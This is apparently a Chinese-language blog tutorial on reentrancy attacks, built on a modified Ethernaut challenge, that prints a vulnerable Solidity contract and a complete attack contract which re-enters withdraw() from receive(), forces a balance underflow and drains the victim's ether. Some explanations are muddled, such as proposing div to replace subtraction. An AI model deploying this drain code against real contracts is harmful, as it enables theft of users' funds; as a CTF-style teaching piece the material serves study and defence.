区块链骇客第一讲:重入攻击

本篇文章开启区块链骇客专栏的第一讲,让我决心开写本专栏的首要原因是对未来的职业选择有了一个确定的规划。

日后的更新频率将会不小于等于每周一讲,欢迎各位读者监督和指正,一起学习一同进步!

📕1. 挑战

  • 这是Ethernaut中的一个例子(已修改)
  • 现在把需求交给你:使用重入攻击将以下合约中的资金全部取走。
  • 你会先想到什么?什么是重入攻击?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;

constructor() public payable {}

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result, ) = address(msg.sender).call.value(_amount)("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

📕2. 思考

挑战先放在那,作为我们最后的一个实战练习。

先来看看重入攻击,到底是什么?

⭐重入原理:检查-生效-交互模式

检查-生效-交互模式是solidity官方给出的该语言所遵循的机制

同时它也是重入攻击所利用的原理

用简练的语言概括这个模式

  1. 检查:检查函数是否能满足被正常调用的条件;
  2. 生效:处理合约状态变量修改;
  3. 交互:在这些事情完成之后,才能与外部合约做交互

这就是一个合约函数从被调用到上链同步的流程;


有同学不理解这个模式,那我举个例子描述

  1. 你去银行提款机取钱;
  2. 首先你得带卡吧,没卡取不了;除了带卡,你带的也得是本行的卡吧,带错了也取不了;带对卡了,你也得保证你卡里有钱吧,不然取啥钱;有钱也不一定管用,你还得保证你的卡是可用的….
  3. 当你满足了所有条件后,银行账户余额将会提前减少你取的数额,并将改变后的余额写进系统;此时提款机才吐钱,你的手上才多了这笔钱;
  4. 在这些事情完成之后,你才能拿这笔钱去做其他事情

这下懂了吧

🚀大胆猜想

那既然合约基本都遵循这个原理,如何利用它?

  1. 可不可以趁合约修改状态还没闭环时,再修改它的状态?
  2. 想一想算法中的递归,设置一个条件,直到状态变量达到条件时递归才停止;
  3. 在合约中有没有这个条件存在,如何触发合约的递归呢?

📕3. 实操Reentrance合约

我们看上文留下的挑战

引入:SafeMath库,合约按理来说将不会发生溢出错误,除开没用到该库的地方;

构造器:合约无构造器;

函数:

  1. donate捐赠函数,可以向任意地址_to捐赠以太,balances哈希表记录数额;
  2. balanceof查看余额函数,返回地址_who记录的余额;
  3. receive接受以太函数;

问题函数:

withdraw提款函数,被捐赠地址可以通过此函数提取以太;

1
2
3
4
5
6
7
8
9
10
11
12
13
 function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

这个函数有两个大问题

  1. 首先合约版本<8.0,这就意味着除了用到safemath库以外的地方,都可能存在溢出漏洞;如 balances[msg.sender] -= _amount;它明明可以写成balances[msg.sender].div(_amount);调用safemath库的div方法来避免安全问题,但它就是写成了-=_amount; 不过这也正常,由于减少余额之前做了一个判断:if(balances[msg.sender] >= _amount),因此在正常情况下不可能发生漏洞;那么在不正常的情况下呢?
  2. 更致命的问题 在于这个函数没有遵循 检查-生效-交互模式。形象来说,就是你马上要拿到这笔钱了,却跟银行说这钱不能够打到我的账上,于是又问银行要了这笔钱,这会给合约带来致命的问题(勿代入现实生活)

现在我们写一个合约来攻击Reentrance合约

AttackContract.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.0;

//攻击合约
contract AttackReentrance {
address public attackedContract;
address private owner;
uint256 private initialDonation;
//重入锁指针
bool private exploited;

constructor(address _attacked) {
//传入被攻击合约地址
attackedContract = _attacked;
exploited = false;
//初始化合约拥有者
owner = msg.sender;
}

//合约提款函数
function withdraw() external {
uint256 balance = address(this).balance;
(bool success, ) = owner.call{value: balance}("");
require(success, "you are not owner of the contract!");
}

function exploit() external payable {
require(msg.value > 0, "donate something!");
initialDonation = msg.value;

// 向被攻击合约捐赠 10 wei
(bool success1, ) = payable(attackedContract).call{value: msg.value}(
abi.encodeWithSignature("donate(address)", address(this))
);

require(success1, "success1 falied");

// 提取 传入数额
(bool success2, ) = payable(attackedContract).call(
abi.encodeWithSignature("withdraw(uint256)", initialDonation)
);
require(success2, "success2 falied");

// 由于被攻击合约会产生下溢漏洞因此它的余额在合约中将会无限放大
// 现在就可以直接将被攻击合约余额全部提取
(bool success3, ) = payable(attackedContract).call(
abi.encodeWithSignature(
"withdraw(uint256)",
address(attackedContract).balance
)
);
require(success3, "success3 falied");
}

//接收以太默认函数
receive() external payable {
//加入重入锁,防止本合约被攻击
if (!exploited) {
exploited = true;

//重入攻击关键!!在接受以太之时调用提款函数
//造成状态叠加,破环(检查-生效-交互模式)
(bool success4, ) = payable(attackedContract).call(
abi.encodeWithSignature("withdraw(uint256)", initialDonation)
);

require(success4, "success4 falied");
}
}
}

//调用合约
contract Useattack {
AttackReentrance public attackContract;
address public owner;

//首先得给调用合约打入10wei攻击资金,因此是payable关键词
constructor(AttackReentrance _attack) payable{
//传入被攻击合约地址
attackContract = _attack;
owner = msg.sender;
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

function attack(uint256 _amount) public onlyOwner{
attackContract.exploit{value:_amount}();
attackContract.withdraw();
}

}


⭐解析攻击合约

此攻击合约巧妙利用了被攻击合约的两大漏洞!

把焦点放到exploit()receive()函数

  1. 调用调用exploit()函数,传入10wei以太。
  2. exploit()函数中,首先调用被攻击合约的捐款函数,参数为被攻击合约;
  3. 然后调用被攻击合约的donate函数,参数为10wei;
  4. 调用被攻击合约的withdraw()函数,被攻击合约将在此时朝攻击合约发送10wei以太;
  5. 最关键的一步:攻击合约receive()函数被动接收以太,但在函数中再一次地,调用了被攻击合约的withdraw()函数!
  6. 至此被攻击合约陷入递归状态,将会不断地提款直至被攻击合约的余额发生下溢;
  7. 最后我们利用下溢错误,将被攻击合约余额全部提取至攻击合约;
  8. 接下来调用攻击合约的withdraw()函数将余额提取到自己的钱包。

⭐解析调用合约

调用合约是调用攻击合约的合约

  1. 部署时不要忘记给调用合约打100wei攻击成本;
  2. 部署完成后调用attack()函数,参数_amount设置为10;

📕4. 总结

在攻击过程中,我们破坏了检查-生效-交互模式,将合约的状态始终卡死在balances[msg.sender] >= _amount状态,

使得balances[msg.sender] -= _amount余额不断减少,直至下溢漏洞的产生。一旦产生下溢,balances[msg.sender]

将会变为无限大即2的256次方,此时提取合约全部余额,将会被合约视为理所当然!

🚀更多区块链技术干货请关注

77Brother的技术小栈

岚链论坛 – 区块链技术的高质量社区


区块链骇客第一讲:重入攻击
http://nangbowan.github.io/2022/10/29/区块链骇客第一讲-重入攻击/
作者
Science_Jun
发布于
2022年10月29日
许可协议